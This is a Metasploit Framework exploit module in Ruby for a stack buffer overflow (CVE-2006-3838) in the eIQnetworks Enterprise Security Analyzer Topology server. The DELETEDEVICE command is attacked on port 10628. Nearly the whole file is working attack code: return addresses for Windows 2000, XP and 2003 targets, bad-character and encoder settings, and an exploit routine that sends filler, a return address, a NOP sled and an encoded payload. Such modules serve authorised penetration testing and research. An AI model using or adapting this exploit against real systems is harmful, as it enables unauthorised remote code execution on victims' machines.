Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in eIQnetworks

                                Enterprise Security Analyzer. During the processing of

                                long arguments to the DELETEDEVICE command in the Topology

                                server, a stack-based buffer overflow occurs.

                                This module has only been tested against ESA v2.1.13.

                        },

                        'Author'         => 'MC',

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['CVE', '2006-3838'],

                                        ['OSVDB', '27528'],

                                        ['BID', '19164'],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'seh',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 250,

                                        'BadChars' => "\x00\x0a\x0d\x20",

                                        'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],

                                        [ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],

                                        [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],

                                ],

                        'Privileged'     => false,

                        'DisclosureDate' => 'Jul 25 2006'

                        ))

                register_options(

                        [

                                Opt::RPORT(10628)

                        ], self.class)

        end

        def exploit

                connect

                print_status("Trying target #{target.name}...")

                filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)

                sploit  =  "DELETEDEVICE&" + filler + payload.encoded

                sock.put(sploit)

                handler

                disconnect

        end

end